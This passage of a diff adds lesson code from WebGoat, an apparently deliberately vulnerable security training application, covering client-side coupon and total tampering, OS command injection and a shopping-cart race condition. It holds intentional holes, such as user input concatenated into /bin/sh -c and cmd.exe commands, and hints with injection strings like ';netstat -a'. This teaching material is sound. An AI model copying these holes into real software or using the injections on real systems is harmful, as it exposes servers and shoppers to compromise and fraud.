.getStringParameter("SUBTOT", "0")).setReadOnly(true))
.setAlign("right"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD()
.addElement("Total to be charged to your credit card:"));
tr.addElement(new TD()
.addElement(
new Input(Input.TEXT, "GRANDTOT", s.getParser()
.getStringParameter("GRANDTOT", "0"))
.setReadOnly(true)).setAlign("right"));
t.addElement(tr);
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your coupon code:"));
Input input = new Input(Input.TEXT, "field1", param1);
input.setOnKeyUp("isValidCoupon(field1.value)");
tr.addElement(new TD().addElement(input));
t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
t.addElement(tr);
ec.addElement(t);
return ec;
}
protected int getTotalQty(WebSession s) {
int quantity = 0;
quantity += s.getParser().getFloatParameter("QTY1", 0.0f);
quantity += s.getParser().getFloatParameter("QTY2", 0.0f);
quantity += s.getParser().getFloatParameter("QTY3", 0.0f);
quantity += s.getParser().getFloatParameter("QTY4", 0.0f);
return quantity;
}
protected ElementContainer createQtyTable(WebSession s) {
ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1)
.setWidth("90%").setAlign("center");
if (s.isColor()) {
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now")
.setWidth("70%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("10%"));
tr.addElement(new TH().addElement("Total").setWidth("10%"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC1", s.getParser().getStringParameter(
"PRC1", "69.99")).setSize(10).setReadOnly(true)).setAlign("right"));
Input input = new Input(Input.TEXT, "QTY1", s.getParser()
.getStringParameter("QTY1", "0"));
input.setOnKeyUp("updateTotals();");
input.setOnLoad("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT1", s.getParser().getStringParameter(
"TOT1", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC2", s.getParser().getStringParameter(
"PRC2", "27.99")).setSize(10).setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter(
"QTY2", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT2", s.getParser().getStringParameter(
"TOT2", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC3", s.getParser().getStringParameter(
"PRC3", "1599.99")).setSize(10).setReadOnly(true))
.setAlign("right"));
input = new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter(
"QTY3", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT3", s.getParser().getStringParameter(
"TOT3", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
t.addElement(tr);
tr = new TR();
tr
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr
.addElement(new TD().addElement(
new Input(Input.TEXT, "PRC4", s.getParser()
.getStringParameter("PRC4", "299.99")).setSize(10)
.setReadOnly(true)).setAlign("right"));
input = new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter(
"QTY4", "0"));
input.setOnKeyUp("updateTotals();");
input.setSize(10);
tr.addElement(new TD().addElement(input).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "TOT4", s.getParser().getStringParameter(
"TOT4", "0")).setSize(10).setReadOnly(true)).setAlign("right"));
t.addElement(tr);
ec.addElement(t);
return ec;
}
protected Category getDefaultCategory() {
return Category.AJAX_SECURITY;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
public List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Use Firebug to examine the JavaScript.");
hints.add("Using Firebug, you can add breakpoints in the JavaScript.");
hints.add("Use Firebug to find the array of encrypted coupon codes, and " +
"step through the JavaScript to see the decrypted values.");
hints.add("You can use Firebug to inspect (and modify) the HTML.");
hints.add("Use Firebug to remove the 'readonly' attribute from the input next to " +
"'The total charged to your credit card:' and set the value to 0.");
return hints;
}
/**
* Gets the instructions attribute of the WeakAccessControl object
*
* @return The instructions value
*/
public String getInstructions(WebSession s) {
String instructions = "";
if (getLessonTracker(s).getStage() == 1) {
instructions = "STAGE 1:\tFor this exercise, your mission is to discover a coupon code to receive an unintended discount.";
}
else if (getLessonTracker(s).getStage() == 2) {
instructions = "STAGE 2:\tNow, try to get your entire order for free.";
}
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() {
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle() {
return "Insecure Client Storage";
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

353
main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java Normal file
View File

@ -0,0 +1,353 @@
package org.owasp.webgoat.lessons;
import java.io.File;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.StringTokenizer;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.P;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class CommandInjection extends LessonAdapter
{
private final static String HELP_FILE = "HelpFile";
private String osName = System.getProperty("os.name");
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
boolean illegalCommand = getWebgoatContext().isDefuseOSCommands();
try
{
String helpFile = s.getParser().getRawParameter(HELP_FILE,
"BasicAuthentication.help");
if (getWebgoatContext().isDefuseOSCommands()
&& (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1))
{
int index = helpFile.indexOf('&');
if (index == -1)
{
index = helpFile.indexOf(';');
}
index = index + 1;
int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote
System.out.println("Command = ["
+ helpFile.substring(index, helpFileLen).trim()
.toLowerCase() + "]");
if ((osName.indexOf("Windows") != -1 && (helpFile.substring(
index, helpFileLen).trim().toLowerCase().equals(
"netstat -a")
|| helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("dir")
|| helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("ls")
|| helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("ifconfig") || helpFile
.substring(index, helpFileLen).trim().toLowerCase()
.equals("ipconfig")))
|| (helpFile.substring(index, helpFileLen).trim()
.toLowerCase().equals("netstat -a #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("dir #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("ls #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals("ls -l #")
|| helpFile.substring(index, helpFileLen)
.trim().toLowerCase().equals(
"ifconfig #") || helpFile
.substring(index, helpFileLen).trim()
.toLowerCase().equals("ipconfig #")))
{
illegalCommand = false;
}
else
{
s
.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig");
}
}
if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1
&& helpFile.indexOf(';') == -1)
{
if (helpFile.length() > 0)
{
if (upDirCount(helpFile) <= 3)
{
// FIXME: This value isn't used. What is the goal here?
s.getContext().getRealPath("/");
illegalCommand = false;
}
else
{
s
.setMessage("It appears that you are on the right track. "
+ "Commands that may compromise the operating system have been disabled. "
+ "This lesson is a command injection lesson, not access control.");
}
}
else
{
// No Command entered.
illegalCommand = false;
}
}
File safeDir = new File(s.getContext().getRealPath("/lesson_plans"));
ec
.addElement(new StringElement(
"You are currently viewing: <b>"
+ (helpFile.toString().length() == 0 ? "&lt;select file from list below&gt;"
: helpFile.toString()) + "</b>"));
if (!illegalCommand)
{
String results;
String fileData = null;
helpFile = helpFile.replaceAll("\\.help", "\\.html");
if (osName.indexOf("Windows") != -1)
{
// Add quotes around the filename to avoid having special characters in DOS filenames
results = exec(s, "cmd.exe /c dir /b \""
+ safeDir.getPath() + "\"");
fileData = exec(s, "cmd.exe /c type \""
+ new File(safeDir, helpFile).getPath() + "\"");
}
else
{
String[] cmd1 = { "/bin/sh", "-c",
"ls \"" + safeDir.getPath() + "\"" };
results = exec(s, cmd1);
String[] cmd2 = {
"/bin/sh",
"-c",
"cat \"" + new File(safeDir, helpFile).getPath()
+ "\"" };
fileData = exec(s, cmd2);
}
ec.addElement(new P()
.addElement("Select the lesson plan to view: "));
ec.addElement(ECSFactory.makePulldown(HELP_FILE,
parseResults(results.replaceAll("(?s)\\.html",
"\\.help"))));
//ec.addElement( results );
Element b = ECSFactory.makeButton("View");
ec.addElement(b);
// Strip out some of the extra html from the "help" file
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new StringElement(fileData.replaceAll(
System.getProperty("line.separator"), "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll(
"<br><br>", "<br>").replaceAll("<br>\\s<br>",
"<br>")));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
private String parseResults(String results)
{
results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", "");
StringTokenizer st = new StringTokenizer(results, "\n");
StringBuffer modified = new StringBuffer();
while(st.hasMoreTokens())
{
String s = (String)st.nextToken().trim();
if(s.length() > 0 && s.endsWith(".help"))
{
modified.append(s + "\n");
}
}
return modified.toString();
}
public static int upDirCount(String fileName)
{
int count = 0;
// check for "." = %2d
// we wouldn't want anyone bypassing the check by useing encoding :)
// FIXME: I don't think hex endoing will work here.
fileName = fileName.replaceAll("%2d", ".");
int startIndex = fileName.indexOf("..");
while (startIndex != -1)
{
count++;
startIndex = fileName.indexOf("..", startIndex + 1);
}
return count;
}
/**
* Description of the Method
*
* @param command Description of the Parameter
* @param s Description of the Parameter
* @return Description of the Return Value
*/
private String exec(WebSession s, String command)
{
System.out.println("Executing OS command: " + command);
ExecResults er = Exec.execSimple(command);
if ((command.indexOf("&") != -1 || command.indexOf(";") != -1)
&& !er.getError())
{
makeSuccess(s);
}
return (er.toString());
}
/**
* Description of the Method
*
* @param command Description of the Parameter
* @param s Description of the Parameter
* @return Description of the Return Value
*/
private String exec(WebSession s, String[] command)
{
System.out.println("Executing OS command: " + Arrays.asList(command));
ExecResults er = Exec.execSimple(command);
if (!er.getError())
{
makeSuccess(s);
}
return (er.toString());
}
/**
* Gets the category attribute of the CommandInjection object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is using a system command to return the contents of a file.");
hints
.add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)");
hints
.add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix.");
hints
.add("Note that the server may enclose the submitted file name within quotes");
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Choose the lesson plan you would like to view. "
+ "Try to inject a command to the operating system.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(40);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DirectoryScreen object
*
* @return The title value
*/
public String getTitle()
{
return "Command Injection";
}
}

610
main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java Normal file
View File

@ -0,0 +1,610 @@
package org.owasp.webgoat.lessons;
import java.text.NumberFormat;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Ryan Knell <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created July, 23 2007
*/
public class ConcurrencyCart extends LessonAdapter
{
//Shared Variables
private static int total = 0;
private static float runningTOTAL = 0;
private static int subTOTAL = 0;
private static float calcTOTAL = 0;
private static int quantity1 = 0;
private static int quantity2 = 0;
private static int quantity3 = 0;
private static int quantity4 = 0;
private float ratio = 0;
private int discount = 0;
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = null;
try
{
String submit = s.getParser().getStringParameter("SUBMIT");
if("Purchase".equalsIgnoreCase(submit))
{
updateQuantity(s);
ec = createPurchaseContent(s, quantity1, quantity2, quantity3, quantity4);
}
else if ("Confirm".equalsIgnoreCase(submit))
{
ec = confirmation(s, quantity1, quantity2, quantity3, quantity4);
//Discount
if (calcTOTAL == 0) // No total cost for items
{
discount = 0; // Discount meaningless
}
else // The expected case -- items cost something
{
ratio = runningTOTAL / calcTOTAL;
}
if (calcTOTAL > runningTOTAL)
{
//CONGRATS
discount = (int) (100 * (1 - ratio));
s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount +"% discount. Police are on the way to your IP address.");
makeSuccess(s);
}
else if (calcTOTAL < runningTOTAL)
{
//ALMOST
discount = (int) (100 * (ratio - 1));
s.setMessage("You are on the right track, but you actually overpaid by " + discount + "%. Try again!");
}
}
else
{
updateQuantity(s);
ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
}
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage");
ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
}
return ec;
}
//UPDATE QUANTITY VARIABLES
private void updateQuantity(WebSession s)
{
quantity1 = thinkPositive(s.getParser().getIntParameter("QTY1", 0));
quantity2 = thinkPositive(s.getParser().getIntParameter("QTY2", 0));
quantity3 = thinkPositive(s.getParser().getIntParameter("QTY3", 0));
quantity4 = thinkPositive(s.getParser().getIntParameter("QTY4", 0));
}
/*
**********************************************************************
******************* PURCHASING PAGE **********************************
**********************************************************************
*/
private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
{
ElementContainer ec = new ElementContainer();
runningTOTAL = 0;
String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1);
try
{
String param1 = s.getParser().getRawParameter("PAC", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"CC", "5321 1337 8888 2007"));
// test input field1
if (!pattern1.matcher(param1).matches())
{
s.setMessage("Error! You entered " + HtmlEncoder.encode(param1) + " instead of your 3 digit code. Please try again.");
}
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Place your order ")));
Table table = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
//Table Setup
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
table.addElement(tr);
//Item 1
tr = new TR(); //Create a new table object
tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
tr.addElement(new TD().addElement("$169.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center"));
total = quantity1 * 169;
runningTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr); //Adds table to the HTML
//Item 2
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
tr.addElement(new TD().addElement("$299.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center"));
total = quantity2 * 299;
runningTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
//Item 3
tr = new TR();
tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center"));
total = quantity3 * 1799;
runningTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
//Item 4
tr = new TR();
tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
tr.addElement(new TD().addElement("$649.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center"));
total = quantity4 * 649;
runningTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor()) { table.setBorder(1); }
ec.addElement(new BR());
calcTOTAL = runningTOTAL;
//Total Charged
tr = new TR();
tr.addElement(new TD().addElement("Total:"));
tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right"));
table.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
table.addElement(tr);
//Credit Card Input
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "CC", param2)).setAlign("right"));
table.addElement(tr);
//PAC Input
tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "PAC", param1)).setAlign("right"));
table.addElement(tr);
//Confirm Button
Element b = ECSFactory.makeButton("Confirm");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
table.addElement(tr);
//Cancel Button
Element c = ECSFactory.makeButton("Cancel");
tr = new TR();
tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right"));
table.addElement(tr);
ec.addElement(table);
ec.addElement(new BR());
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/*
**********************************************************************
******************* CONFIRMATION PAGE ********************************
**********************************************************************
*/
private ElementContainer confirmation (WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
{
ElementContainer ec = new ElementContainer();
final String confNumber = "CONC-88";
calcTOTAL = 0;
try
{
//Thread.sleep(5000);
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!")));
ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber)));
Table table = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
//Table Setup
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
table.addElement(tr);
//Item 1
tr = new TR(); //Create a new table object
tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
tr.addElement(new TD().addElement("$169.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center"));
total = quantity1 * 169;
calcTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr); //Adds table to the HTML
//Item 2
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
tr.addElement(new TD().addElement("$299.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center"));
total = quantity2 * 299;
calcTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
//Item 3
tr = new TR();
tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center"));
total = quantity3 * 1799;
calcTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
//Item 4
tr = new TR();
tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
tr.addElement(new TD().addElement("$649.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center"));
total = quantity4 * 649;
calcTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
ec.addElement(new BR());
//Total Charged
tr = new TR();
tr.addElement(new TD().addElement("Total Amount Charged to Your Credit Card:"));
tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right"));
table.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
table.addElement(tr);
//Return to Store Button
Element b = ECSFactory.makeButton("Return to Store");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
table.addElement(tr);
ec.addElement(table);
ec.addElement(new BR());
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/*
**********************************************************************
******************* SHOPPING PAGE **********************************
**********************************************************************
*/
private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
{
ElementContainer ec = new ElementContainer();
subTOTAL = 0;
try
{
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table table = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
//Table Setup
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
table.addElement(tr);
//Item 1
tr = new TR(); //Create a new table object
tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
tr.addElement(new TD().addElement("$169.00").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", String.valueOf(quantity1)))
.setAlign("right"));
total = quantity1 * 169;
subTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr); //Adds table to the HTML
//Item 2
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
tr.addElement(new TD().addElement("$299.00").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", String.valueOf(quantity2)))
.setAlign("right"));
total = quantity2 * 299;
subTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
//Item 3
tr = new TR();
tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", String.valueOf(quantity3)))
.setAlign("right"));
total = quantity3 * 1799;
subTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
//Item 4
tr = new TR();
tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
tr.addElement(new TD().addElement("$649.00").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", String.valueOf(quantity4)))
.setAlign("right"));
total = quantity4 * 649;
subTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr);
ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
ec.addElement(new BR());
//Purchasing Amount
tr = new TR();
tr.addElement(new TD().addElement("Total: " +"$" +formatInt(subTOTAL) +".00").setAlign("left"));
table.addElement(tr);
//Update Button
Element b = ECSFactory.makeButton("Update Cart");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
table.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
table.addElement(tr);
//Purchase Button
Element c = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right"));
table.addElement(tr);
ec.addElement(table);
ec.addElement(new BR());
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
String formatInt (int i)
{
NumberFormat intFormat =
NumberFormat.getIntegerInstance(Locale.US);
return intFormat.format(i);
}
String formatFloat (float f)
{
NumberFormat floatFormat =
NumberFormat.getNumberInstance(Locale.US);
floatFormat.setMinimumFractionDigits(2);
floatFormat.setMaximumFractionDigits(2);
return floatFormat.format(f);
}
int thinkPositive(int i)
{
if (i < 0 )
return 0 ;
else
return i ;
}
/**
* DOCUMENT ME!
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory() { return Category.CONCURRENCY; }
/**
* Gets the hints attribute of the AccessControlScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Can you purchase the merchandise in your shopping cart for a lower price?");
hints.add("Try using a new browser window to get a lower price.");
hints.add("In window A, purchase a low cost item, in window B a high cost item.");
hints.add("In window A, commit after updating cart in window B.");
return hints;
}
/**
* Gets the instructions attribute of the WeakAccessControl object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price.";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() { return DEFAULT_RANKING; }
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle() { return "Shopping Cart Concurrency Flaw"; }
public Element getCredits() { return super.getCustomCredits("", ASPECT_LOGO); }
}

306
